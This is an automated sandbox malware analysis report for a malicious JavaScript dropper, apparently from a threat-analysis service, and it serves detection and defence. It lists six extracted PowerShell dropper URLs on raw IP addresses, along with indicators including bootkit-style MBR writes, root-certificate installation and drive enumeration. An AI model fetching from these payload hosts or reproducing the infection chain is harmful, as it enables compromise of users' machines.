23a5d13793ab459b6af65b981172dedc3ad6e2c745aa5eb79c3f1e948ee89037

Analysis

max time kernel
1050s
max time network
1052s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
06-04-2023 07:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ClaimD_UkP(33).js
Size

82KB
MD5

1b538fb655d1ea772726b28a85ec7d15
SHA1

cfd966ba2f7c7ef654465c013686da1c7de6afe9
SHA256

23a5d13793ab459b6af65b981172dedc3ad6e2c745aa5eb79c3f1e948ee89037
SHA512

e2baca3ae7eb094fbda9c65c04d40ede9dfcdf6e29de7fdfc691dfc46d5c54baaa9d2da709cac7757ff7b9910838afdcd836f983e5fefc24cd98305bceb23532
SSDEEP

1536:8AzaBoRHY+8SqpqbKyOxc+IWsEltqlqheN:8AzaBoFYnFp0KA+IWs2tqlvN

Score

10^/10

bootkit discovery persistence vmprotect

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://139.180.172.203/oUL2TJbgdevk.dat

exe.dropper

http://154.7.253.203/iD6lQK.dat

exe.dropper

http://198.44.140.75/ObaPI.dat

exe.dropper

http://137.74.39.237/fkxoEdG.dat

exe.dropper

http://87.236.146.53/PsEwwF0hC.dat

exe.dropper

http://103.214.71.131/rehbF3vo.dat

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

1 4276 powershell.exe
3 4276 powershell.exe
7 4276 powershell.exe
12 4276 powershell.exe
14 4276 powershell.exe
15 4276 powershell.exe
Downloads MZ/PE file

flow	pid	process
1	4276	powershell.exe
3	4276	powershell.exe
7	4276	powershell.exe
12	4276	powershell.exe
14	4276	powershell.exe
15	4276	powershell.exe

Executes dropped EXE 7 IoCs

Processes:

Everything.exeEverything.exeLinux_Reader.exeLinuxReader64.exeDiskInternals.Preview.dllsvchost.exeDiskInternals.Preview.dll

pid	process
5008	Everything.exe
4308	Everything.exe
3536	Linux_Reader.exe
3700	LinuxReader64.exe
4340	DiskInternals.Preview.dll
2752	svchost.exe
4740	DiskInternals.Preview.dll

Loads dropped DLL 6 IoCs

Processes:

Linux_Reader.exeLinuxReader64.exesvchost.exe

pid process

3536 Linux_Reader.exe
3536 Linux_Reader.exe
3700 LinuxReader64.exe
3700 LinuxReader64.exe
3700 LinuxReader64.exe
2752 svchost.exe

pid	process
3536	Linux_Reader.exe
3536	Linux_Reader.exe
3700	LinuxReader64.exe
3700	LinuxReader64.exe
3700	LinuxReader64.exe
2752	svchost.exe

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll	vmprotect
C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll	vmprotect
behavioral1/memory/4340-1151-0x0000000000400000-0x0000000001F0F000-memory.dmp	vmprotect
C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll	vmprotect
behavioral1/memory/4740-1187-0x0000000000400000-0x0000000001F0F000-memory.dmp	vmprotect

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 3 IoCs

Processes:

WFS.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Documents\Fax\Drafts\desktop.ini	WFS.exe
File opened for modification	C:\Users\Admin\Documents\Scanned Documents\desktop.ini	WFS.exe
File opened for modification	C:\Users\Admin\Documents\Fax\Inbox\desktop.ini	WFS.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Everything.exe

description	ioc	process
File opened (read-only)	\??\E:	Everything.exe
File opened (read-only)	\??\J:	Everything.exe
File opened (read-only)	\??\L:	Everything.exe
File opened (read-only)	\??\P:	Everything.exe
File opened (read-only)	\??\T:	Everything.exe
File opened (read-only)	\??\U:	Everything.exe
File opened (read-only)	\??\V:	Everything.exe
File opened (read-only)	\??\W:	Everything.exe
File opened (read-only)	\??\Y:	Everything.exe
File opened (read-only)	\??\N:	Everything.exe
File opened (read-only)	\??\A:	Everything.exe
File opened (read-only)	\??\F:	Everything.exe
File opened (read-only)	\??\G:	Everything.exe
File opened (read-only)	\??\H:	Everything.exe
File opened (read-only)	\??\I:	Everything.exe
File opened (read-only)	\??\K:	Everything.exe
File opened (read-only)	\??\M:	Everything.exe
File opened (read-only)	\??\R:	Everything.exe
File opened (read-only)	\??\S:	Everything.exe
File opened (read-only)	\??\B:	Everything.exe
File opened (read-only)	\??\O:	Everything.exe
File opened (read-only)	\??\Q:	Everything.exe
File opened (read-only)	\??\X:	Everything.exe
File opened (read-only)	\??\Z:	Everything.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

LinuxReader64.exe

description ioc process

File opened for modification \??\PhysicalDrive0 LinuxReader64.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

LinuxReader64.exeDiskInternals.Preview.dllsvchost.exeDiskInternals.Preview.dll

pid process

3700 LinuxReader64.exe
4340 DiskInternals.Preview.dll
2752 svchost.exe
4740 DiskInternals.Preview.dll

description	ioc	process
File opened for modification	\??\PhysicalDrive0	LinuxReader64.exe

pid	process
3700	LinuxReader64.exe
4340	DiskInternals.Preview.dll
2752	svchost.exe
4740	DiskInternals.Preview.dll

Drops file in Program Files directory 29 IoCs

Processes:

Linux_Reader.exesvchost.exeLinuxReader64.exe

description	ioc	process
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\SDL2.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\libraw.dll	Linux_Reader.exe
File opened for modification	C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini	svchost.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader64.exe	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals Research.ico	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\cbfs64.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\avformat-58.dll	Linux_Reader.exe
File opened for modification	C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\LinuxReader.exe	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\cbfs.cab	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\avcodec-58.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\Uninstall.exe	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\swresample-3.dll	Linux_Reader.exe
File opened for modification	C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini	LinuxReader64.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\nas64.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\License.txt	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\avdevice-58.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\swscale-5.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\ippcp.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\fsm.ini	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\fat12.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\fat16.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\DiskInternals.Preview.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\SoundTouch.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\jt.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\avutil-56.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\nas32.dll	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\help.chm	Linux_Reader.exe
File created	C:\Program Files (x86)\DiskInternals\LinuxReader\av\avfilter-7.dll	Linux_Reader.exe

Drops file in Windows directory 2 IoCs

Processes:

MicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4816 4552 WerFault.exe MicrosoftEdgeCP.exe

pid	pid_target	process	target process
4816	4552	WerFault.exe	MicrosoftEdgeCP.exe

NSIS installer 6 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_1
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_2
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_1
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_2
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_1
C:\Users\Admin\Downloads\Linux_Reader.exe	nsis_installer_2

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdge.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133252396254698690"	chrome.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeLinuxReader64.exe7zG.exeMicrosoftEdgeCP.exechrome.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "10"	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	LinuxReader64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0 = 4a003100000000008656533c100050537100380009000400efbe8656533c8656533c2e000000a30600000000040000000000000000000000000000003e7dbc00500053007100000012000000	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 77d59bfe5145d901	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2\NodeSlot = "13"	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\13\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	LinuxReader64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\SniffedFolderType = "Generic"	LinuxReader64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = 00000000ffffffff	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	LinuxReader64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\0\MRUListEx = ffffffff	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 020000000000000001000000ffffffff	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac04000000c8000000354b179bff40d211a27e00c04fc308710300000080000000354b179bff40d211a27e00c04fc308710200000080000000	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	7zG.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	7zG.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{9ACDDB8A-EFED-40A4-A245-B991D56CEA02}"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2 = 14002e80922b16d365937a46956b92703aca08af0000	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	LinuxReader64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	7zG.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	LinuxReader64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\0\NodeSlot = "9"	7zG.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	7zG.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\14\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	7zG.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2	LinuxReader64.exe
Key created	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	7zG.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1\0 = 5a0031000000000086565d3a100053797374656d33320000420009000400efbe724a0b5d86565d3a2e0000002f0f0000000001000000000000000000000000000000b0038100530079007300740065006d0033003200000018000000	7zG.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	7zG.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\SniffedFolderType = "Generic"	7zG.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1311743041-1167936498-546579926-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	7zG.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

LinuxReader64.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b